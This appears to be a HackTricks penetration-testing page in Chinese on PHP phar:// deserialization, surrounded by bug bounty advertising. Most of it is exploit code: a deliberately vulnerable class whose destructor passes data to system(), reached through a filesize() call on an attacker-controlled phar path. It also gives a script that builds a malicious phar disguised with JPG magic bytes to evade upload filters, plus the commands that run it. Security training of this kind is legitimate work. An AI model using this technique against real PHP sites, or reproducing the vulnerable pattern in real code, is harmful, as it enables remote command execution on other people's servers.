phar:// deserialization

支持 HackTricks

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级 漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

Phar 文件(PHP Archive)文件 包含序列化格式的元数据,因此,当解析时,这个 元数据 会被 反序列化,你可以尝试利用 PHP 代码中的 反序列化 漏洞。

这个特性的最佳之处在于,即使使用不执行 PHP 代码的 PHP 函数,如 file_get_contents()、fopen()、file() 或 file_exists()、md5_file()、filemtime() 或 filesize(),也会发生反序列化。

所以,想象一个情况,你可以让一个 PHP 网站使用 phar:// 协议获取任意文件的大小,并且在代码中你发现一个类似于以下的

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

您可以创建一个 phar 文件,当加载时将 利用这个类执行任意命令,使用类似以下内容:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

注意 JPG 的魔术字节 (\xff\xd8\xff) 被添加到 phar 文件的开头,以 绕过 可能的 文件 上传 限制编译 test.phar 文件:

php --define phar.readonly=0 create_phar.php

并利用易受攻击的代码执行 whoami 命令:

php vuln.php

参考文献

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级漏洞赏金平台!今天就加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

支持 HackTricks

Last updated